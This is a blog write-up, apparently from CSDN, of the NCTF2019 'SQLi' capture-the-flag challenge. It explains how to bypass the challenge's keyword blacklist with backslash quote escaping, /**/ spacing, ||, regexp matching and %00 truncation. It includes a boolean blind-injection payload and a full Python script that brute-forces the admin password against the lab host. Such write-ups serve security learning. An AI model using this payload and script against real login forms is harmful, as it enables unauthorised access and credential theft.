[NCTF2019]SQLi:regexp正则注入


题目

  登陆框。
给出后台查询语句sqlquery : select * from users where username='' and passwd=''

  信息搜集:手测黑名单

	闭合黑名单:'
可用闭合:转义字符\。
对于语句username='' and passwd='',可以在username使用\闭合,
从而使username='\' and passwd='',即username=' and passwd='注入代码+注释符'。

	逻辑运算符黑名单:Or、And、Xor
可用逻辑运算符:||、&&、^。

	注释符黑名单:#、--+、单引号闭合
可用注释符:;%00

	运算符黑名单:=
	
	空格黑名单:space、+
可用替换符:/**/、%09等

	函数黑名单:()
可用替换符:(xxx)

	逗号黑名单:,
难题:联合查询和报错查询都不能用了,只能考虑盲注。

	关键词黑名单:查询Union、Select。库In、表Table
难题:这他么还能做吗?
	
	用户名黑名单:Admin

  不能绕过黑名单的盲注语句,或者说不能使用if子句
and if(substr((select id from flag ),1,1)=1,sleep(2),1)
and if(substr((select database()),1,1)=‘s’),sleep(3),1)%23
and if(length(database())>8,sleep(3),1)


regexp正则注入

  like语句是对where子句的检索条件,可以使用like子句代替等号=
MySQL中也支持Regexp操作符,进行正则表达式匹配。

  利用条件:要知道列名。(只能查询select语句中给定的表)

  劣势:不能跨表查询,只是在where子句中使用逻辑运算符。
优势:对于bool盲注,只需要引号^两个字符。

(1)模糊注入

  likeregexp模糊匹配用于where子句。
在SQL注入中一般都是进行字符拼接,
常见语句为select xx from xx where id='$id'
则模糊注入:id=' || id like "2"%23,以及id=' || id regexp "2"%23
完整语句为:select xx from xx where id='' || id like "2"%23

	regexp实例,字符串注意支持使用单/双引号,带反引号会被当做列名。大概有10种模式。

	A.三种数据模式:开头、结尾、包含:
以st开头的所有数据:username regexp '^st'。结尾"ok$".。包含"ok"。
(2)布尔盲注的regexp注入

A.首先构造真条件,由于username为False,所以使用运算符||
B.根据页面输出语句,知道username和passwd列,也可以猜列名flag。
C.如何遍历列值,使用开头^逐位进行扩展。不知道首位字母时,最懒最累的方式就是遍历出a-z开头的所有列值,或者猜首位是flag或cicsn。

(3)盲注脚本:

  SQL注入不仅仅是SQL注入,robots.txt有提示。

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";

If $_POST['passwd'] === admin's password,
Then you will get the flag;

  使用任意用户和爆破出的密码登录,拿到flag。

	本题基础Payload
username=\&passwd=||/**/passwd/**/regexp/**/"^a";%00

# -*- coding:utf-8 -*-

import requests
import string
url = "http://68329ef5-f7a1-4721-854c-9e056f6d59df.node3.buuoj.cn/"
bool_str = "welcome"
passwd = ""
mystr = string.ascii_lowercase + string.digits + '_' + '{' + '}' + '-'

for i in range(1, 50):  # 单列的字符个数。针对passwd只有一行的情况
    for letter in mystr:
        # 找出1个字符。range()函数左闭右开,可打印字符是[32,126]。
        # 注意这里是正则,所以正则的10个模式都不能用。使用小写字母、数字、_、-、{}
        payload = "||/**/passwd/**/regexp/**/\"^f{}\";{}".format(passwd + letter, chr(0))
        data = {"username": "\\", "passwd": payload}
        res = requests.post(url, data=data)
        if (bool_str in res.text):
            passwd += letter
            print("第" + str(i) + "字符:"+passwd)
            break
		
	爆破枚举passwd:you_will_never_know7788990
(4)使用%00进行注释

  该符号不是MySQL的注释符,但PHP具有%00截断的漏洞,有些函数会把%00当做结束符,也就起到了注释掉后面代码的作用。
(比如文件上传中的00截断漏洞)

  在Python脚本中的使用:Python访问浏览器,会进行一次URL编码,
因此参数中的URL编码在服务端并不会解码,#等可打印字符直接在参数中输入字符即可,但不可打印字符如%00就需要进行格式处理。

  问题变成了:如何在Python输入不可打印字符?
可以使用parse.unquote(’%00’),或者chr(0),二者都需要使用.format()进行格式化输出。完整格式.format(parse.unquote('%00')).format(chr(0))


总结

收获

  (1)模糊匹配注入:regexp注入,like注入。

  (2)%00截断的注释效果。

  (3)强大的黑名单,以及把写的fuzz字典用起来的决心。

参考

  《mysql闭合符号被过滤_当注入函数被过滤时的Mysql注入小技巧》,2021-01
https://blog.csdn.net/weixin_42184548/article/details/113271095

  《被过滤了引号的SQL注入如何破?》,2020-03
https://www.jianshu.com/p/51dbabf45a95

  《【附件】python脚本提交 url编码的%00问题 以及 ascii(0)和 chr(0)》
https://blog.csdn.net/Zero_Adam/article/details/114848065

  《刷题记录-[NCTF2019]SQLi》,2020-05
https://blog.csdn.net/weixin_43610673/article/details/106029042

  《[NCTF2019]SQLi》,2020-09
https://www.cnblogs.com/h3ng/p/13736621.html

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值